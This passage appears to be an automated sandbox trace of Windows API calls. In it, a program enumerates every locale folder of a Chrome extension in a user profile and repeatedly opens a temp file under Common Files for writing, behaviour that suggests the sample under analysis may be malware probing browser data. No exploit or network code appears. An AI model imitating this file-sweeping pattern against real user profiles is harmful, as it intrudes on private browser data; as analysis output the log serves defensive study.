dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.948] AreFileApisANSI () returned 1 [0133.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.948] GetFileType (hFile=0x19c) returned 0x1 [0133.948] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\am\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2e2a4, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.948] AreFileApisANSI () returned 1 [0133.948] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.948] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.948] GetFileType (hFile=0x19c) returned 0x1 [0133.948] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2e3a6, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.949] AreFileApisANSI () returned 1 [0133.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.949] GetFileType (hFile=0x19c) returned 0x1 [0133.949] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\az\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2e4a8, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.949] AreFileApisANSI () returned 1 [0133.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.949] GetFileType (hFile=0x19c) returned 0x1 [0133.949] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bg\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2e5aa, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.949] AreFileApisANSI () returned 1 [0133.949] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.949] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.949] GetFileType (hFile=0x19c) returned 0x1 [0133.949] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\bn\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2e6ac, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.949] AreFileApisANSI () returned 1 [0133.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.950] GetFileType (hFile=0x19c) returned 0x1 [0133.950] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ca\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2e7ae, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.950] AreFileApisANSI () returned 1 [0133.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.950] GetFileType (hFile=0x19c) returned 0x1 [0133.950] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2e8b0, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.950] AreFileApisANSI () returned 1 [0133.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.950] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.950] GetFileType (hFile=0x19c) returned 0x1 [0133.950] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2e9b2, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.950] AreFileApisANSI () returned 1 [0133.950] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.951] GetFileType (hFile=0x19c) returned 0x1 [0133.951] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\de\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2eab4, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.951] AreFileApisANSI () returned 1 [0133.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.951] GetFileType (hFile=0x19c) returned 0x1 [0133.951] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\el\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2ebb6, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.951] AreFileApisANSI () returned 1 [0133.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.951] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.951] GetFileType (hFile=0x19c) returned 0x1 [0133.951] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_GB\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2ecb8, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.951] AreFileApisANSI () returned 1 [0133.951] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.952] GetFileType (hFile=0x19c) returned 0x1 [0133.952] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\en_US\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2edbd, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.952] AreFileApisANSI () returned 1 [0133.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.952] GetFileType (hFile=0x19c) returned 0x1 [0133.952] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2eec2, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.952] AreFileApisANSI () returned 1 [0133.952] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.952] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.952] GetFileType (hFile=0x19c) returned 0x1 [0133.953] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\es_419\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x2f000, nFileSizeHigh=0x0, nFileSizeLow=0x2efc4, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.953] AreFileApisANSI () returned 1 [0133.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.953] GetFileType (hFile=0x19c) returned 0x1 [0133.953] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\et\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2f0ca, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.953] AreFileApisANSI () returned 1 [0133.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.953] GetFileType (hFile=0x19c) returned 0x1 [0133.953] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\eu\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2f1cc, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.953] AreFileApisANSI () returned 1 [0133.953] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.953] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.953] GetFileType (hFile=0x19c) returned 0x1 [0133.954] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fa\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2f2ce, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.954] AreFileApisANSI () returned 1 [0133.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.954] GetFileType (hFile=0x19c) returned 0x1 [0133.954] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fi\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2f3d0, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.954] AreFileApisANSI () returned 1 [0133.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.954] GetFileType (hFile=0x19c) returned 0x1 [0133.954] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\fil\\*.*", lpFindFileData=0x18a6fc | out: lpFindFileData=0x18a6fc*(dwFileAttributes=0x18a734, ftCreationTime.dwLowDateTime=0x8, ftCreationTime.dwHighDateTime=0xe, ftLastAccessTime.dwLowDateTime=0x88, ftLastAccessTime.dwHighDateTime=0x7d0228, ftLastWriteTime.dwLowDateTime=0x4, ftLastWriteTime.dwHighDateTime=0x30000, nFileSizeHigh=0x0, nFileSizeLow=0x2f4d2, dwReserved0=0x0, dwReserved1=0x1, cFileName="", cAlternateFileName="\x01")) returned 0xffffffff [0133.954] AreFileApisANSI () returned 1 [0133.954] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0133.954] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18a6c8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c [0133.954] GetFileType (hFile=0x19c) returned 0x1 [0133.955] FindFirstFileA (in: lpFileName="C:\\Documents and 